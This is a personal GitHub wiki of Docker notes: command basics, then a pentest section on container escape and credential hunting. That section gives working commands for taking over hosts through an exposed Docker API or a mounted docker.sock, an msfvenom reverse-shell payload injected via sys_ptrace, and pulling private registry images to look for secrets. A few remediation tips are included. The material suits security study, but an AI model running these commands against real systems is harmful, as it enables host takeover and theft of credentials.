Docker notes - CraigDonkin/Infrastructure GitHub Wiki

Some of this is based on https://github.com/appsecco/attacking-and-auditing-docker-containers-and-kubernetes-clusters

Docker

Basics

  • Engine
    • client-server application
      • server runs the daemon process dockerd
        • listens for Docker API requests
        • Manages Docker objects such as images, containers, networks and volumes
      • REST API that programs use to talk to the daemon
      • CLI docker command
        • CLI uses the API
        • commands are sent to dockerd
  • Image
    • Read only template with instructions for creating a container
    • can be based on another image
    • to build your own you need a Dockerfile that defines the steps needed to create and run the image.
  • Container
    • runable instance of an image
    • create,start,stop,move,delete a container using API or CLI
    • Connect to multiple networks, add storage to it
    • contains everything needed to run an application
  • Registry
    • Repository of docker images
    • docker pull or docker run commands pulls images and runs them from the configured registry
    • docker push pushes an image to a configured registry
  • Docker Hub
    • Public repository

Docker Search

docker search image-name
  • docker search searches the docker hub for a public image

    Docker checks if the image is available

  • pulls the image from the registry if it isn't available

  • runs the image locally

Docker PS

  • Lists running containers
docker ps -a 

Docker images

  • Lists docker images
docker images

Docker Run

  • Runs a docker container
docker run ubuntu:latest
docker run --name {name} -it ubuntu:latest /bin/bash
  • -i -t together is used for interactive processes like a shell
docker run --name {name} -d alpine:latest ping 127.0.0.1 -c 50
  • -d command runs the container in the background

docker stop

  • stops a container
docker stop {container}

Remove a Docker

docker rm {container}

Docker Inspect

  • Used to return information about docker objects
docker inspect <container>
docker inspect <imgage>

Docker History

  • Shows the history of an image

Dockerfile

  • Configuration file

    • FROM instruction specifies what the base image should be
    • RUN specifies a command to execute
    • CMD provide defaults for an executing container

Docker Compose

  • Tool for defining and running multi-container docker apps

  • use a YAML file to configure app services

  • Single command can be sued to create and start all the services

  • Define the app's environment with a Dockerfile

  • Define the services in docker-compose.yml

  • run docker-compose up to start and run app

Docker Volumes

  • Used for persisting data
  • Lists the docker volume:
docker volume ls
  • Create a docker volume:
docker volume create my-vol
  • inspect a volume
docker volume inspect my-vol
  • Delete a volume
docker volume rm my-vol
  • If you start a container with a colume that does not exist, docker creates the volume
docker run -d --name test --mount source=myvol2,target=/app nginx:latest

Docker networks

  • bridge

    • default
    • used when your app run in standalone containers that need to communicate
  • host

    • standalone containers
  • overlay

    • connect multiple docker daemons together and enable swarm services to communicate
  • macvlan

    • allow you to assign a mac address to a container, making it appear as a physical device
  • none

    • disables all networking
  • List the current networks:

docker network ls
  • Create a new network:
docker network create name
docker network create --driver bridge name 
  • Inspect a network:
docker network inspect bridge 

Docker Swarm

  • Group of machines that are running docker and joined in a cluster
  • docker commands executed on a cluster by a swarm manager

Portainer

  • Management tool for Docker
  • Manage docker hosts via web ui
docker run -d -p 9000:9000 --name portainer \
    --restart always -v /var/run/docker.sock:/var/run/docker.sock \
    -v /opt/portainer:/data portainer/portainer

Namespaces

  • Docker creates a set of namespaces for a container
  • Provides the isolated workspace called the container
    • pid - process isolation
    • net - manages network interfaces
    • ipc - manages access to IPC
    • mnt - manages filesystem mount points
    • uts - isolates kernel and version identifiers
    • user - isolates security-related identifiers

Runtime Privileges and capabilities

  • By default docker containers are unprivileged
  • privileged container is given access to all devices
docker run --privileged
  • can loimit access to a specific device or devices with the --device flag
docker run --device/dev/snd:/dev/snd
  • By default the container can read, write and mknod these devices
  • Can be overwidden with :rwm options
docker run --device=/dev/sda:/dev/xvdc --rm -it ubuntu fdisk /dev/vdc
  • Docker has a list of capabilities that are kept

  • There are also capabilities which are not granted by default but could be added

  • You can add a capability with cap-add

docker run --cap-add=ALL
docker run --cap-add=WAKE_ALARM
  • You can remove the capability with cap-drop
docker run --cap-drop=NET_RAW
  • You can list capabilities with
capsh --print

Attacks

Post Exploitation

  • If you have access to the hosts docker runtime then
  • This will execute commands as UID 0
  • You can create a docker container with the / path
  • create/read files on the host

If you have access via docker CLI

  • List running containers:
docker -H ip:2375 ps
  • Look for stopped containers:
docker -H ip:2375 ps -a
  • Look for images on the host machine
docker -H ip:2375 images 
  • Access a container
docker -H ip:2375 exec -it <container name> /bin/bash
  • Access the host operating system:
docker -H ip:2375 run --rm -ti -v /:/mnt alpine chroot /mnt /bin/sh

Attacking Insecure Volume Mounts

This scenario is based on you first exploiting a weakness in an app running in a container, for example RCE on a node app.

  • Once inside the container explore for post exploitation
  • Check to see if docker.sock is available and mounted from the host:
ls -l /var/run/docker/sock
  • This allows you to access the host docker service
  • The owner of the docker.sock is root of the host where the container is running
  • To access the host resource using the docker.sock socker run:
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images
  • docker client will be in /root/docker

Remediation

  • run containers with limited user privileges

  • run using rootless containers

  • use isolated instances for the required privileges

Attacking Exposed TCP API

This scenario is based on a misconfigured docker instance with exposed TCP oirts on the network.

  • The docker daemon can listen for API requests via tcp socket
    • typically port 2375 for unencrypted and 2376 for encrypted communication
  • Exploitation starts with scanning for these ports
  • Then query the docker API
  • The following command will list the images:
curl {ip}:2375/images/json | jq . 
  • You can also run the following to test CLI access:
docker -H <host>:<port> info
  • Then try and connect to the docker runtime using the docker daemon
docker -H tcp://{IP}:2375 ps
docker -H tcp://{IP}:2375 images

Remediation

  • By default TCP port is not used anymore
  • Don't expose TCP port to the network

Looking for known vulnerabilities

metadata , secrets etc

  • Inspect containers for metadata and secrets
docker inspect <>
docker history <>

Auditing Docker Volumes and Networks

  • Listing docker volumes:
docker volume ls
  • Inspecting a docker volume
docker volume inspect <name>
  • Listing docker networks:
docker network ls
  • inspecting docker network
docker inspect <name>

If you have compromised a host which has docker volumes, run the inspect command, find the volumes and review the file contents for anything sensitive like hardcoded creds/keys etc

Auditing Docker Runtime

  • Check the docker daemon configuration
docker system info 
  • Check to see if the docker API is exposed on 0.0.0.
sudo cat /lib/systemd/system/docker.service 

Auditing Docker Registry

  • Check if docker registry is running:
curl -s http://localhost:5000/v2/_catalog | jq .

  • Retrieve list of tags and versions of a docker image from the registry:
curl -s http://localhost:5000/v2/<name>/tags/list | jq .

  • Download a registry image locally
docker pull localhost:5000/<name>
  • Review the container for sensitive information
docker run --rm -it localhost:5000/<name> sh 

Attacking Container Capabilities

This is where you exploit a container that has the sys_ptrace capability running with host PID namespace.

This allows a breakout of the container to the host system .

  • Once you have access to a container list the capabilities
capsh --print
  • Look for the sys_ptrace
  • Run top to list the host processes
  • Identify a host process that is running as root
ps auxxx | grep root 
  • inject and execute code from the address space of the host processes
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f raw -o payload.bin

  • inject the the payload into the process
./injector pid payload.bin

Attacking SWARM cluster secrets

  • A docker swarm secret is a blog of data that should not be transmitted over a network such as a password
  • When you add a secret to the swarm the secret is sent to the swarm manager over TLS
  • Review:
/run/secrets/*

Attacking a private registry

If an organisation is hosting a private registry you could download images from the registry and review them for secrets

  • retrieve the catalog:
curl ip:5000/v2/_catalog
  • Get the tags for the images:
curl ip:5000/v2/privatecode/tags/list
  • add the inseucre-registry flag to download the docker image
vi /lib/systemd/system/docker.service 
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry <ip>:5000
  • Restart the service
sudo systemctl daemon-reload
sudo service docker restart
  • Download an image from the registry
docker pull <ip>:5000/image-name
  • Enter the container
docker run --rm -it ip:5000/image-name
⚠️ **GitHub.com Fallback** ⚠️